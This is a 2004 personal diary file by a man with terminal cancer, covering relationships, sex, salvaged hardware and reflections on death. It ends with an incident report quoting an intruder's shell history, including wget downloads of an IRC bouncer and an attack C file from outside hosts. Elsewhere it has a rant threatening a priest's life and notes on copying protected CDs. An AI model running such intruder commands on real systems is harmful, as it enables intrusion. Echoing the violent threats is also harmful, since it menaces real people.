File: ides.txt Cont: The journal of predator extinction, Vol 1, file 8 Prev: consent.txt, gutful.txt, gutting.txt, gutted.txt, hunting.txt bill_me.txt, getting_it.txt, losing_it.txt Music: Ministry - New World Order, Psalm 69 Mid-feb thru early March 2004 Odd things happen. In a previous rant (losing_it, i think - the really *big* one) I mentioned someone was on the hunt for some DNA. I think the real reason I'm reluctant to pass my code on is, not so much the tendancy one might have to give life to a new human with their own inherited likelihood of becoming a terminal cancer sufferer later, but the existance of the slim chance that I'll have to take responsibility for, and help to raise, whatever rugrat might eventuate if one arises and if I live long enough to see it grow up. I mean, bloody hell, I barely take responsibility for *myself*. Much as the world is swamped with people, and most of us probably realise that, we nevertheless think `Well they might as well be _our_ descendants'. So off we go, begattin' freely on our own placemats. I spent sunday recovering from the Mek party and then jumping around at Vortex (industrial goth night club), which was very good. I whipped around to STUCCO to install some net cabling and an interface card, then went to Bronte with some of the STUCCO residents. I got the shit bashed out of me in the surf - was awkwardly faceplanted underwater into the abrasive grit, and staggered a bit dazed out of the salt water, skin stinging, joints hurting, bits of marine life caught up in my hair, but at least I didn't stink of fuckin' nightclub smoke any more. Then I realised I needed FOOOOD so I went to King St, cooled as I rode along, by the wet trousers I'd worn into the surf. But the grit scratched my bum, and my pockets were still full of wet sand when I got there. The odd thing that happened took place on the shopfront seat of Cinque in Newtown. It pertains to someone (else!) who is on the hunt for some DNA. A chap who lives up the north (mekanarcky) end of the Ice Cream factory, (for whom I've supplied some network cable into which he has plugged his 'poota, so it can communicate with the hub I repaired and the router I built for Mek to use, which is how I came to know him) was walking past and he stopped for a chat, then sat down for some linguini. Matt's a Victorian and he's known another acquaintance of mine, two-i's Liisa, for about fifteen years. There are other Lisas associated with the raggedy crew of artists and firebreathers and body piercers (and people who put on plate iron body armour and then fight each other with petrol powered angle grinders) such at the Mekanarchy site, so one has to distinguish them; Leylandroid Lisa, fer instance, from Futurelic, can change out the couple of tons worth of diesel engine of her converted bus, by herself, in four hours... coolant hoses, fuel line, transmission, electrics, hydraulics, the whole schmeer, which is a hell of a skillset, and she does pretty cool programmable metalwork sculptures and so on. And intelligently salvages network hubs too. I met two-i's Liisa when I was squatting Annandale (Derek and Crazy Gonzo are still there, Mr Kay has permitted them to be there but the place is reverting to derilection and jungledom as I write in mid Feb 2004). She was pretty skinny when I met her, and looks _economically rationalised_ now, and although I think she's pushing the outskirts of cachexy a bit, it does highlight her delightful curves somewhat. Come to think of it she looks pretty delightful *anyway* regardless of her threatening appearance in the photograph on the Mek notice board of her wearing earmuffs and carrying a loaded Kalashnikov at a firing range in Vietnam. This holds true even after some drunken prick glassed her in the pub in Tempe a year ago. It completely escapes me how that asshole escaped a suspicious swimming accident (eg: getting caught around the prop of someone's outboard motor after a month's forced exploration of the bottom of the nearby Cook's River with a plumbous ingot and no scuba) since he's apparently done this sort of thing before. If you look carefully you can see the scar. Just barely. She's hiding up somewhere in Kyogle now, on her own bit of dirt. It is thought the reason for this excessive skinniness is years of not adequately nourishing herself, too many dwugs, and so on. She's trying to reverse this with good nosh, a bit of exercise, country air, etc etc. Existential angst has her, Matt thinks, and she's wondering what the hell to do with her life since squatting, dwugz and living aimlessly is sort of unsatisfying for her now. So she's considering popping out a rug rat. Probably to give her a sense of purpose (geez, just what my mum adopted me for!) Matt thinks. And so she seeks some DNA for the task. The chick who deflowered me many years ago used to say that sperm was cheap, but the way I see it, since it's not all the same, it depends where you get it and Ebay really isn't the place to go looking. I can't say I'd recommend my code to anyone, since it gives rise to a myopic, crooked-toothed white boy, now documented to have a propensity for terminal cancer. Liisa is nevertheless eminently shaggable. I've met her parents and one of them is like me in that he has an explosives licence and has actually blown things up under its aegis. Would she give a rats about the GPL? Probably not. It's odd, as I disappear I remain without any biological relatives that I know of. I phrase it this way because a long time ago as an impoverished wanker with no particular concern for the overburdened state of the planet, I got paid to donate my genome to anonymous recipients. So there might be little half-mes running around already. But I'm never gonna meet 'em. So Matt gave me her phone number. How does one ring up and say, uh, look, if you're looking for some clean code (albeit, due to lack of biological rellos, code with no additional Fisher information such as might be derived from characteristics of the relatives) I might be persuaded to supply some, though there's no implied warrantee for merchantability or fitness for a particular purpose (quoting from the GPL here). Contrast against this the thought processes I ran when Rho implied she'd be interested in acquiring some of mine for her rugrat project. Would she feel rejected that I wasn't gonna provide her with my code if I donated it to someone else? I dunno. What the hell's happened to my head in the last week? Has the "Don't give a damn about the future any more" co-efficient jacked up suddenly? Yeah probably. But it's always more complex than that. Do they really know what they're in for? Genes exist on a fraught tactical landscape. Human reproductive physiology is something of a disaster, terribly riskprone. Women are shaped by evolution to seek good DNA to mix theirs with, and get in a fiduciary relationship with whoever is prepared to dump cash into the rugrat's development, which might not be the purveyor of the nucleotides in question. And men seek essentially the same goals but via different means. Am I looking for someone or something to fill in the gap, to perhaps prevent the end of my (very short) line? Maybe. Subconsciously. I can't trust my brain to think clearly on this issue. Reproducing the genes which encode for themselves is what brains evolved to delude their humans hosts into doing. Logically, if I am dead I shouldn't give a shit what happens after I am dead, but here I am cynically calculating how to cut my (not biologically related) sister out of a large slice of what would accrue to her for the mere effort of outliving me. It also has to do with seeing the resources accumulated here in this family not being defaultly acquired by my sister who has demonstrated absolutely nothing in the way of caring for what she has been given. Not that I have an estate or anything, but it does strike me as a terrible shame that my crazy adoptive sister might survive us all, inherit all this stuff that dad worked his arse off for years to get, and then she'd fritter it away funding her nothing of a life, or even worse, pouring the resources into a rugrat of her own, which would by Mendel's laws stands a 50% chance of being as crazy as she is, and a 50% chance of inheriting the tendancy for breast cancer which took _her_ biological mum out at age 33 (my sister is 31 as I write and smokes a pack a day). Which is why *she* was adopted out in the first place - her biological family knew of this genetically inherited insanity and were, I guess, under the guise of altruism just ridding themselves of rubbish they didn't want. All of us practise eugenics when we choose mates, and we always assume our genes are better than those of all the other people who didn't reproduce with whoever we choose to mate with, and this assumption is usually correct. As a very young kid, like, 9 years old, I distinctly remember how things'd be better if I'd have offed my sister. I should have followed my intuition; humanity would not have to suffer the burden of her wasted existance nor expose itself to the possibility that she'd perpetuate it. And, fuck me, I'd be guilty but I'd get over it. I would consider myself a total prick for concieving an infant for such cynical selfish motives - yeah, kid, I shagged yer mum precisely so there would exist someone to gun for assets I never even earned. But some of me wants to start such a kid, precisely for this reason. In 20 years when the inescapable absence of thermodynamically profitable hydrocarbon bites it won't matter a millionth of a fuck anyway. It's all a waste. Everything. But it might as well be wasted on my genes. Not hers. But arrr. For the mere price of a shag, I'd be condemning another soul to tax slavery in a society worse than the one I was born in. ------------ Feb 16: I went over to Joss' old place in Balmain to return "Death of a Salesman" to Jude's delightful squeeze Sophie. Keith indicated to me that a parcel had arrived for me from Joss from England. The address is written in her handwriting which has changed from what I remember of it. There's two books inside it. Both by a dead guy (well, obviously he wasn't when he wrote them, but he was, like me, condemned) named John Diamond. On the back of the softcover one is something about the dude bein killed by his neck cancer in 2001 or so. I inhaled the hardcover book, which is called C, in a couple of hours. I already have a book called C, but it's about a programming language, which given the informational nature of cancer and molecular biology is sort of appropriate. I was 146 pages into it before it _jumped out_ at me again that the dude writing it is dead now. He got 2ndaries in the neck and the primary was in his tongue. He smoked years previously. He had a couple of years of messy painful chop-work done on his face... fucked up his voice, couldn't eat properly, couldn't sleep properly, was tracheotomised. Then he carked it. He was pretty upset about that future. But then he had a couple of kids and was married. Cancer doesn't give a shit about that. I wondered if, in the last chapter he wrote, he knew It Was Coming. He didn't write with the impatient immediacy I'd have expected of a dying man. But maybe he had the luxury of already having said what he's wanted to. It saddened me that, in his next-to-last chapter, his answer to a friend's question `Just tell me, John, what the fuck is the point of it all?' was so, oh, sorry for saying this - so damned shallow. The dude's an atheist so at least he didn't write any drivel about worshipping your fuckin' god, such as appears far too frequently above tombstones and such. But, arrr, the best two things he could manage to say were: 1) It's about getting angry with me for having different opinions from yours or not expressing the ones you have as well as you would have expressed them. ...I guess this would occur to a journo, and neatly covers the possibility that commentries upon this insight, such as this one, might exist, and... 2) It's about loving and being loved, about doing the right thing, about one day being missed when you're gone. Come on dude... pressed against the bleak grey wall of your own demise can't ya come up with anything a bit deeper? It's about information, computation, biochemistry and thermodynamics, and with these comes the only real understanding your own nature. Philosophers are full of shit and always will be. The dudes that matter to the course of human history are the dudes who figure out the rules of the game. They get the REAL nobel prizes - medicine, physics, chemistry, literature (peace is, due to commandments written into our own accursed nucleotides, a lost cause - recognised I think since it is awarded to pricks like Henry Kissinger - and economics is a fraudulent delusion - so Nobels in those fields count for fuck-all). It's about understanding that you're a member of a species of chimps which happened to figure out the information processing language of the universe and a way to communicate it to their mates (I refer to mathematics, and the symbolism which was developed for it). A mere handful of them were bright enough to figure out The Laws of Physics, The Human Genome, Mathematical Incompleteness, Computational Undecidability, the Periodic Table, and all the other really important shit which actually matters. THIS STUFF is what human brains evolved to do. A mere handful of them discovered the rules that matter and most people will never hear of them.... early plant domesticators and classifiers (Vavilov comes to mind), people who figured out antibiotics (Pasteur, Florey), petroleum resource geology (M. Hubbert King), how to make fertiliser from nitrogen and fart gas (Haber). There is no good or evil, right or wrong, really. There is birth, survival, reproduction and death - from the point of view of a chunk of code running on a unix system: ./, an entry in ps aux, fork, kill What it's about, John, is the insight that the code which in which you (whatever that is) is implemented, is executed in a bone-encased, wrinkly grey organ which spins an illusion that some nebulous persona called *you* exists, and spins it for the benefit of the genes which encoded that wrinkly grey organ's existance. It spins other illusions to delude the first illusion - that this *you* is in love, that others - similarly self-deluded *thems* love this *you*, that the *you* is angry or happy, that the you does or does not give a shit, that writing a paragraph like this makes a rat's arse of difference to the thoroughness of the delusion. When that code stops executing (cos the rest of the meat puppet gets too broken to support the wrinkly grey organ) _you_ aren't around to be missed. There's no _you_ to miss, or even talk about, any more. Try it out. If you don't show up at work for a few weeks and then come back, you'll notice another similarly self-deluded interchangable-part programmable protein primate has been swapped into the place your *you* formerly occupied. Leave a lover for a couple of years, return unexpectedly and of course they're bringing up rugrats which they had to someone else. How fuckin' hard is that to understand? Well, very. Of all self-delusions, the delusion _of_ self is the most insidious and thorough. Not least because everyone else seems to believe theirs too, making it all a huge convincing mass self-delusion. Biology doesn't just pull the wool over our eyes, it more or less makes our eyes _from_ the same sorts of amino acids as constitites wool in the first place. We live in the wool. How many people ever wake up to that? Not many. And certainly not Sarte, by the way. His self-delusion was too busy seducing Simone de Beauvoir to permit him to even write readable sentences. I shouldn't be too harsh, tho. Diamond does, otherwise, write pretty well. At least, not having been a journo for twenty-odd years, I have as my excuse not to write so well, the excuse of inexperience. --------------------------- Feb 18 Zyn and I met up at the uni and after I burned my legs in the sun for a while, went for a spin down to the abandoned gun turrets at La Perouse, which turned into enjoyable snogs in various places. Amazingly enough, and what the fuck does the universe think it's playing at - she's dying of cancer too. At this point all persons sighing `Aaaahh!' as if some sort of perfect match has been made should just go and shoot 'emselves cos it's sure as shit not like that. I wouldn't wish it on anyone. I nevertheless got this amazing sense of relief that there's someone else who's in the same sitch as I am and we are hence to some extent able to dispense with the relationship inequalities which come about when one participant is gonna be dead in a handful of months. There was some heavy processing of the situation; how ya can't plan for anything anymore, how everything suddenly appears totally fuckin' pointless and joyless and at the same time somehow more savoury (like you want a pizza more when someone snatches it away from you) rah rah. The upshot of this chatting is that the opportunity to snort lines of our own self-pity is dispensed with, and we can get on with pretending to be normal people. I dropped her back at Parramatta and rode back to Blakehurst. I got home and frigged around with an abandoned Pent-166/64Mb/2Gb item I found on the roadside while I was walking the dog in the morning. During test/bootup I found it has WinPuke2000professional on it and many of the desktop icons are auto-dialups to internet sex providers (whaddya do, slam yer doodle a couple of times in the CDROM drive tray? Me, I prefer hi-res SVGA and a tube of KY but it makes the keys sticky in the long run). It works, runs quietly, is good. A couple of NICs and GNU/Linux and it's aDSL router fodder, one less machine in the landfill. I washed my hands after touching the keyboard and sprayed it with Glen-20 to neutralise any residual anonymous geek jizz. Ewww. Mum came home later and told me I'd had a call from old Ron Harden (a name I find phonetically ironic for a bloke who has taken a vow of chastitiy). He's the catholic priest up at Croydon Road (he never, ever forgets a fone number). Ron, it appears, is concerned about my sickness and is praying for me. Mum, (I just typed `bless her' but maybe I seek a different phrase) mentioned to Ron that I was an atheist. Nice try mum but you don't understand Ron. Telling him I'm an atheist just means, I suspect, that he'll try all the harder to convince me that I have an immortal soul and that he is the instrument through which god will attempt to save it from the fires of Hell. She knows not that I haven't spoken to him for about ten years after I deduced there was nothing he could tell me which wasn't somehow designed to assimilate me into his belief system. Maybe he's concerned about me in a purely human capacity but I doubt it. If he so much as tries the merest hint of a precursor to a deathbed conversion, he is really, really gonna get it. Something like: ------------------------------------------------------------------------------ Ron! There is no God! If hell exists I am just about qualified to run the place. I've committed every sin you have a commandment against and a few for which there aren't but bloody well should be. In no particular order: I reprogrammed organisms which you think your god wrote. I flung a load of vocational opportunities down the can. I'm enjoying a debauched relationship with several women, and they appear to be enjoying it right back. I own porn, drugs, guns, and books by Richard Dawkins, and have used all of them in their intended capacities. I've committed carnal acts on a dead person's tombstone. I've paid to have killed my own bastard before it ever got out of the first trimester, and I wasn't even completely sure it was mine. And I've quite possibly sired some and might sire others. I got sly hard-ons for the blonde girl with the nice arse in the forth pew from the back while you were doing your sturn und drang sermon about premarital sex. And for the sleek guy in the third row from the front. Years ago I confessed to fabricated sins I wished I'd had the guts to actually commit and you forgave me for committing them, so later I went out and did 'em, feeling licensed with pre-emptive forgiveness. Parts of me are immortal, so I can probably be busted for impersonating a God. I started an organisation which breaks more laws per day than most people break in a lifetime, and the membership loves me for it. I've told the woman I love that I don't fucking care if I see her again or not. I've turned off sets of traffic lights, tapped and taped people's phone calls, jammed people's radios, ripped CDs, thrown copies of Gideon's Bibles in the hotel toilets, dodged rent; broken/fixed, entered/departed, and stolen anything I could carry. I estimate I owe a couple of million in fines for trespassing in drains at $20k a go. I've lived a life to which no CV could ever bear witness. I am guilty as charged, shameless, and unrepentant. I have good reasons to think organised religion is a centuries-old highly evolved information-systemic cultural parasite which has successfully taken over your whole brain for the last sixty years primarily to use you as a vector for its own propagation. As for the human condition, dying *is* the fucking cure, nothing stops it, and that includes prayer. If you have the chutzpah to come to give me last rites, I will ensure you don't live long enough to recieve yours. Anything else? Fuck off. Nothing personal, Ron. ------------------------------------------------------------------------------ I started the 18th dropping a monitor off at the UTS food co-op after Moz suggested they needed a new one. I bagged on old one out of the shed and roped it to my pack and rode around plugged it all in for Lauren who has a LOT of 0's and 4's in her fone number. The old monitor made a satisfying implosion as the CRT neck broke when I chucked it in the dumpster. Then I went to Polymorph to get my belly button pierced and they wouldn't do it 'cos they said I had the wrong sort of belly button. Oh well. I met Zyn at the Uni after doing the bullshit paperwork to get my wages paid to the right account (more superannuation deductions thrown down the toilet and short of bombing parliament there's nothing I can do about it), and chatting to Ted Trainer about the lecture course he is giving, which appears, according to what Zyn sez about it, to have not changed significantly in the last five years. We ended up on a patch o' grass snogging for ages and wondering where the hell we were gonna get some privacy for a quiet session of gentle carnality. I collected Purple Death Faerie later from outside the Wilkinson building on City Road and went out to her dad's pad at Lidcombe, where she took me up on the offer of a massage and then fucked me tooth and nail to a backing track of Portishead. I'm covered in bites and petechiae and am scratched up quite a bit, too. It'll heal. She's a pretty bright and imaginative chick, actually, and a pleasure to be around. The chap who suggested to her that she shag me, novocastrian Kev, rang up in the middle of the shag, she had the good manners to not answer the call, and turned the thing off. He rang the landline later and PDF (purple document faerie? portable death faerie? purple death format? Adobe can get rooted) stood nude by the phone and told him we'd just been shagging. Kev might be a crazy but I think I owe him one. Not a shag, idiot - _a favour_. ------------ 19th. Got oil, changed oil in 'cycle. Tested a whole bunch of network cards and a couple of CD drives for cat.org.au in the machine I found on the road the day before. Memtest sez its RAM is in perfect nick! The power supply is a bit lackluster. I suggested to Zyn that we go camping but she wasn't into it, on the grounds that she's in that stage of her remaining life where she gets sick every few days and doing this when out in the bush is probably not something she's up to. Fuckin' cancer... coitus preemptus oncologica. ---------- 20th. Zyn and I spent some time on a fone call where we discussed her being sick and stuff. We met up later that day after I'd ripped some 1987 New Order cds. One was scratched enought that cdparanoia couldn't rip it so I cleaned the disks, played 'em in an old cd player and sampled the output with the A/D converter in my soundblaster, and wrote that to CD. This is because I've been playing with Gramofile again - which is designed to digitise the audio feeds from vinyl records. This is for two reasons: 1) there are CDs around with something called Copy Control on them - errors designed to stop the 'poota CD drive reading the disk but which most normal audio CD players can use, and 2) I have CDs which have scratches in them which are beyond cdparanoia's ability to error-correct them during normal ripping. Gramofile takes an audio feed into a soundblaster, digitises it, then writes a .wav file (suitable for feeding to cdrecord later) to the harddisk. So as long as you feed in a clean signal not so loud it clips (gramofile will tell you if this happens so you can play the source again at lower output volume) and not so quiet the SB processor noise is noticable, you can rip from the audio output of a CD player, either at line levels (2.5V peak-to-peak) or headphone levels (for high impedance devices) and get really good quality sound. I checked 'em out in real time with xmms. Gramofile also has auto track splitting and will de-hiss/de-pop the output if required. Using the error correction in a regular audio CD player, and using this method to digitise the output sound, I can hence copy any copy control CDs, and I can also get around CDs so scratched cdparanoia barfs on them all night. I figured out what the problem was with the .wavs which tended to be produced by my old version of gramofile. cdrecord complained about them. It wasn't finishing the wav files off in a sector which was a multiple of 2352 bytes so the .wav file was unsuitable for writing a track to cd. There are two ways around this. Whereas normally I'd do #cdrecord -audio dev=0,6,0 speed=4 -v track* now I use the pad option to fill up the last sector with zeros so cdrecord can cop it: #cdrecord -audio dev=0,6,0 speed=4 -v -pad track* Which means there's now a bunch of zeros at the end of each track to fill up the sector, and a fraction of a second of silence between the tracks, but it was gonna be there anyway 8-) Turns out modern versions of gramofile deal with this anyway, it shortens each track to 1/75th of a second (588 samples/second at 44kHz). -- Zyn is hesitant. I can't figure her out. She won't shag in any of the many abandoned places I know about, doesn't want the tawdriness of a pay-for location to shag in. Wants that I dress up, take her to a restaurant, etc etc. She's impatient to get email from me since I happened to be prompt in the first few days of email exchanges. The Bolivian, on the other hand, is not hesitant at all. I dropped around on Sunday night en-route to returning a milk crate to Diode's place since it started raining. She scored a massage and a shag which I was quite happy to share with her and which she reckons she enjoyed quite a lot, too, happily. Nor for that matter was the cookie manufacturer hesitant either, she shagged me on friday night, after we'd enjoyed a delightful barbecque with a bunch of retired bank robbers and murderers who have turned their hand to running an offset printing business and design shop, which is sadly feeling the squeeze of the desktop publishing revolution. And she shagged me saturday morning before I even had a change to get out of bed too. Does one have to be dying before one gets it this good? ------- Stucco (for whom I put in a LAN last year) wanna put in a 2km wireless internet hop from their roof to the roof of the incinerator over at Alexandria, which is being squatted by artists and students with the permission of the relevant council. I'd love to do it and have all the required hardware and software, but they're quibbling about how much bandwidth are the 'rator is likely to pull and how much would they have to pay for it. Fuck it. I'm just slapping a test rig together now in case they decide how to get around this problem. ------- In background of all of this I am chewing slowly on the question of Joss. I phrase it this way because she may, or may not, show up in Oz. She may or may not still be married. She may or may not go back to England later on. If she returns there will be much weeping. The tears of seeing a long absent friend again, the tears that come from being reminded of their past and future absence, rah rah rah. There is much to say. I've read one of the books she sent, by John Diamond. He's dead of cancer, but was a pretty good journo in advance of that. I feel a bit of an inept wanker writing this blog, he is capable of delightful turns of phrase which I cannot begin to match for their talkative torque. He got a secondary in the neck, but his primary was in his tongue. He smoked. So they cut his tongue out. No swallowing, no talking, no eating out in either senses of the phrase, fuckin' wretched thing to have happen to ya. Losin' a kidney's quite literally a piece of piss by comparison. ------ Other stuff I found on the roadside in the local council garbage collection whilst walking the savage dog: Three functional VGA monitors (several others had been rendered useless, their signal cables removed by by Cord Chopper). Out of the blue a 13Gb harddisk, which works, yay. A shitload of good hard dense firewood, pre-chopped, dried, in front of which mum will sit in winter, smoking her ciggies and getting excited about the footy in front of the telly like she has for years. A large wheelbarrow. A quad array of halogen downlights, which work and which I'll install in the courtyard so finally we can see what the hell we're doing at night. The firewood has some termites in it. Which is dangerous cos they escape and then go infest yer house and eat its structural timbers. So I sealed a split in our very old 600L wheeliebin until it was airtight, dropped the termite-infested blocks into it, then dropped a blast of CO2 in there from the fire extinguisher I salvaged from a garbage pile in an abandoned factory in Alexandria. The CO2 will kill all the termites - they need oxygen like we do. It comes out of the extinguisher loud, fast and freezing cold - crystals of the stuff condense on whatever you spray it at. CO2 is a good food preservative for this reason, too, though some anaerobes survive well in it despite its dehydrating and acidifying effects. -------- Feb 24. I am 32 and three quarters. I am one eighth of the way through the the statistically allocated two years within which there is an 80% probability of my being killed by my insidious cytological megalomaniac. I live my life, take my pills and try not to think about it too much, and fail. I think about it all the farking time. It's not so linear and simple as the number above suggest - now that an eighth of this 80% fatality probability window has been survived, doesn't mean the chance has gone down, it just means it exists over a smaller time frame, so it's still 80% likely I'll be dead by sometime before Nov 2005. After that the odds suck even more. An additional 19% chance of being dead exists within the three years after that. 99% dead within 5 years of nephrectomy. Do. The. Math. How will people notice... pred stops posting to catgeek? I put mum on the back of the motorbike today (she doesn't understand 11am _sharp_ which was when i wanted to leave by, means 11:00:00am fucking sharp, we eventually got out at 11.15am after predictable preventable farting around). She looks funny in a helmet as wide as her narrow shoulders. We rode out to the Cemetary in Camperdown (yes, if you're asking, the same one where PDF shagged me) and checked out the graven masonry. There's a lot of headstones in there which record kids who died before they were a year old (these are recorded as living n months and m days - higher resolution - since when you're only a few months old each day of survival becomes important), adults who died in their twenties, thirties. We found, amongst other things of a non-cemetarian nature, a child's toy - imitation mobile phone, still working, which made odd noises when the buttons were pressed. Tho, the place is very *old* and the trees huge and sprawly, some of them erupting from the centres of old graves, fed by the nutrients below. Dudes write a lot of ersatz pious crap on their gravestones. Well, maybe I shouldn't blame 'em, their relatives usually write it for them. Mum enjoyed it immensely. We sucked coffee and ate lunch on King st and rode home in the rain (which is exciting for a novitiate pillion passenger but a drag if one is up front). It has rained continuously and she hasn't shut up about the trip since. ----------- Arrr broken hardware shits me. I've built a test rig in the other back room, consisting of four machines: two laptops, each connected to a standard desktop machine, each of which is in turn connected by a small 2.425GHz hop (lossy, due to no aerials, hence low dB gain and poor S/N ratio, but workable). In the process of getting it all set up I've diagnosed and condemned a cdrom drive, an ne2000 network card (no such card at this interface address), a 3c59x Vortex network card (well, it's partly broken but still usable so I've moved it to my main machine), and a decade-old ne1000 network card which worked last week but had mysteriously gone deaf (no Rx packets). All the remnants are pumping data now. I have to figure out the gateway assignments so data can go laptop---desktop)))) microwave link (((((2nd-desktop---2nd-laptop but its been such a lot of work weeding out the broken bits that there's little remnant satisfaction when one finally gets it working. So I leave it on for a week to see if it blows up, to protect the link from infant mortality in-situ. The thing that most shits me about it is the time spent diagnosing/fixing it which could be spent elsewhere (like writing the thesis). Hardware is my domain, though, so I can eventually get stuff fixed and it is satisfying to do this. Software is another issue. cat.org.au's main server is called conway, and I built it. In the last 4 days it has started to crap out a lot - lately I can't ssh into it from the dialup link to diesel.cat so I can't read or write my emails - but this seems, from where i sit, not to be a hardware problem (it answers pings ok), but some stupid software config messup. Funny. We went all January without a hitch, the machines worked for us. They glitch out and, helpless, we suddenly have to work for them. Three cat members live in the same building as the servers do. Soz, the Cookie Manufacturer, and Len. Soz and Cookie are at work. Len is uncontactable so he can't be asked to kick the box into life again (and it has no GUI so I harbour a suspicion that as an ingrained macintrash user maybe he couldn't anyway). And I am strongly disinclined to go driving through the rain to make it work, when it'll just crap out again due to some asshole software problem which will not be fixed by whoever is responsible. So I send frustrated SMSs to another of the uebergeeks, Andy, like so: IS THERE ANYONE AT TURELLA WHO CAN RESTART CONWAY? HAS ANYONE A CLUE WHY IT DIES? SHOULD WE CRON REBOOT IT 24HRLY? I WANT MY MAIL AND I DONT HAVE TIME TO WASTE This is not gonna get anything fixed and it'll just make Andy grumpy and unappreciated. I'm becoming something of a time nazi. Shit has to happen *now*. So. Fuck it. I suit up and ride in and restart it. ------- Fri 26 Feb. Dad turned 72 (The best thing I could give him was an SMS saying HAPPY 65TH BIRTHDAY DAD! 8-) ) and it's three months to the day that Mr Fuck Off Tumor was carved from my loins and I didn't even think about it until just a second ago. For twelve weeks I have been recording the mindless trivia of my life and I am incredibly grateful that it continues unabated, but fuck, I'm gonna forget that I've got my marching orders and then I'll get bitten again, unprepared. Bill the metastasis, my personal supraclavicular onco-paranoid-ometer feels about 15mm diameter on its longest axis. I want him to go away. I know he ain't gonna - I've been irretrievably histologically hacked. On the roadside, while walking the dog, I found an electric mozzie zapper to replace the broken one hanging feckless from our northern eave. I hung it up and wired it in - it works! Satisfying zzzzZZZT! noises and the stench of overcooked insect meat emanate from it and its light reveals cryptic fluroescent messages in my spectacle lenses. And also found more firewood. Not a lot of computers, there aren't many geeks in this suburb. Television prevails, brainwaves are flat. I started playing with some sample .lyx PhD templates... I am encouraged that there exist German universities for who a PhD consists of something you write and then submit to them, without the bureaucratic overhead of meetings and supervision and other such bollocks which has appended itself to those in the English-speaking nations. But fucked if I'm gonna write it Hoc Deutsche. This is kinda useful too since I bumped into Clifford the dude who was at Sydney Uni chem about fifteen years ago and is still there dispensing reagents to the organic chem students - he sez they have Beilstein online there (woohoo, incalculably valuable!) and I should drop in and use it! This is great news cos I can search the entire German chem structural literature for chemical structural *moieties* and, given their frequency of occurence, determine their information content, bitwise, without having to go read all of say, the Merck Index. Beilstein is now on a cdrom if you have several tens of thousands of dollars US to pay for it. On paper, it occupies an entire wall of the chem libraries which stock it. I ate nosh with Merro and Lou, and chewed the rugrat issue over. It niggles. Then I went back to Turella to find out if Andy had prepared the new drive for transplantation into conway whom I suspected of having a failing /dev/hda. About 4am I finally got to sleep. I awoke at noon and got halfway through a shag with the cookie manufacturer then sorta got distracted and soft and scattered, I'd had little sleep and was still mentally processing a lot of stuff from the night before, where I'd spent the wee hours busting a UNSW student, Indonesian script-kiddie 3l33t hax0r who, according to emails sent later from my erstwhile employers, has been significantly fucking them around for the best part of a year and according to the logs on Conway has been impersonating me and executing things under my account name for about a week. I am not dead sure the cracker was the reason for conway's erratic behaviour, but it correlates. Here's what I sent 'em: ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- From predator@cat.org.au Fri Feb 27 00:57:43 2004 Date: Thu, 26 Feb 2004 03:25:27 +1100 (EST) From: predator@cat.org.au To: catgeek@cat.org.au Cc: xxxxxxx@unsw.edu.au Subject: I've been sniffed by a UNSW user! mine and rootpwd has changed I came here to cat.org.au tonight (12:30am 26 Feb) and noticed that there was LOTS of activity on the hub (as in, 10mbit full saturation). Conway was hellishly busy. I logged in at the tty and noticed this login from 129.94.222.175 which resolves to somewhere in the UNSW Faculty of Commerce and Economics, probably to quad lab 3 or 4 on the first floor. My passwd has since been changed. Rootpwd on conway has also been changed. chkrootkit indicates nothing (yet). top indicated a process was eating lots of CPU and was running from my directory. Its name was hajar. It has been installed on the 19th of Feb at 2:37am. It is accessible at: /home/predator/ /hajar" and is 6267 bytes long. It's a binary executable. Execution permissions have now been removed and the file frozen. The executables were compiled on Feb 19. TCP ports open on the originating UNSW machine above are: 25, 135, 139, 161, 162, 427, 445, 593, 1025, 4444, 5000 Whoever this character is they left a lot of profile fingerprints in the .bash_history file, segments of which are presented below with commentaries: 166 logout <-me logging off 167 w <-him/her logged on, looking around 168 ps x <- I never do ps x, always ps aux 169 w 170 df -h 171 whoami <-I already *know* who I am 172 mkdir 173 mkdir " " <--getting sneaky 174 cd " " 175 wget http://www.psychoid.lam3rz.de/psyBNC2.3.1.tar.gz 176 tar zxvf psyBNC2.3.1.tar.gz 177 cd psybnc psyBNC is an mIRC bouncer, whatever that is (a relay?) Now this is interesting. I can't find a symlink but slocate finds psybnc unpacked in /home/catskills/.../psybnc ... la -lurt indicates fairly recent usage of most of it. This has also had x permissions removed and has been frozen too. Also note the username permissions... cam?? total 748 -rw------- 1 cam cam 3756 Feb 22 12:09 targets.mak -rw-r--r-- 1 cam cam 854 Feb 22 12:09 salt.h -rw-r--r-- 1 cam cam 369 Feb 22 12:09 psybncchk -rw------- 1 cam cam 1531 Feb 22 12:09 psybnc.conf -rw-r--r-- 1 cam cam 5992 Feb 22 12:09 makesalt -rw-r--r-- 1 cam cam 704 Feb 22 12:09 makefile.out -rw------- 1 cam cam 783 Feb 22 12:09 config.h -rw-r--r-- 1 cam cam 76 Feb 22 12:09 TODO -rw-r--r-- 1 cam cam 36674 Feb 22 12:09 README -rw-r--r-- 1 cam cam 1347 Feb 22 12:09 Makefile -rw-r--r-- 1 cam cam 2660 Feb 22 12:09 FAQ -rw------- 1 cam cam 17982 Feb 22 12:09 COPYING -rw-r--r-- 1 cam cam 19875 Feb 22 12:09 CHANGES -rw------- 1 cam cam 6 Feb 22 12:09 psybnc.pid -rw------- 1 cam cam 1558 Feb 22 12:09 psybnc.conf.old -rw-r--r-- 1 cam cam 589768 Feb 22 12:09 psybnc -rw------- 1 cam cam 113 Feb 22 12:09 USER2.LOG.old -rw------- 1 cam cam 56 Feb 22 12:09 USER2.LOG -rw------- 1 cam cam 493 Feb 22 12:09 USER1.LOG drw-r--r-- 2 cam cam 4096 Feb 24 08:54 tools/ drw-r--r-- 2 cam cam 4096 Feb 24 08:54 src/ drw-r--r-- 3 cam cam 4096 Feb 24 08:54 scripts/ drw-r--r-- 2 cam cam 4096 Feb 24 08:54 motd/ drw-r--r-- 3 cam cam 4096 Feb 24 08:54 menuconf/ drw-r--r-- 2 cam cam 4096 Feb 24 08:54 log/ drw-r--r-- 2 cam cam 4096 Feb 24 08:54 help/ ------------------- See also /home/catskills/.../tare for (not listed here) a load of trawled IP numbers. Anyway the dude gets the tarball and compiles the contents 178 ls -al 179 make menuconfig 180 make menuconf/ 181 make menuconf 182 make menuconfig 183 cd .. 184 cd .. 185 ls 186 ls -al 187 cd " " 188 ls -al Then removes the directory and the tarball itself 189 rm psybnc 190 rm -rf psybnc 191 rm psyBNC2.3.1.tar.gz 192 wget http://www.geocities.com/cafetaiwan/tembak.c Interestingly enough this is still there on Geocities. It's a text file, with C code 